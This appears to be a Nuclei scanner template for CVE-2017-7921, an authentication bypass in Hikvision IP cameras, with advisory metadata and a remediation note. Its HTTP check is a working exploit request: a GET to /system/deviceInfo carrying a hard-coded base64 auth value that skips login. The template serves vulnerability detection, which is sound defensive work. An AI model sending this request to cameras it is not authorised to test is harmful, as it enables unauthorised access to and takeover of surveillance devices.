id: CVE-2017-7921

info:
  name: Hikvision - Authentication Bypass
  author: princechaddha
  severity: critical
  description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, unauthorized configuration changes, and potential device takeover.
  remediation: |
    Apply the latest firmware update provided by Hikvision to fix the authentication bypass vulnerability.
  reference:
    - http://www.hikvision.com/us/about_10805.html
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7921
    - https://ghostbin.com/paste/q2vq2
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-7921
    cwe-id: CWE-287
    epss-score: 0.94233
    epss-percentile: 0.99929
    cpe: cpe:2.3:o:hikvision:ds-2cd2032-i_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hikvision
    product: ds-2cd2032-i_firmware
  tags: cve,cve2017,auth-bypass,hikvision,vkev,vuln,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<firmwareVersion>"

      - type: word
        part: header
        words:
          - "application/xml"
# digest: 4a0a0047304502210097fd3becd6de1e756441c8e427ead0395ba465275b0fd8a4615c1f6b2666f22d022045bc1228f903650c6f8d4838a208f11556d9a22a4ed4b9388a7de3b6149ab10f:922c64590222798bb761d5b6d8e72950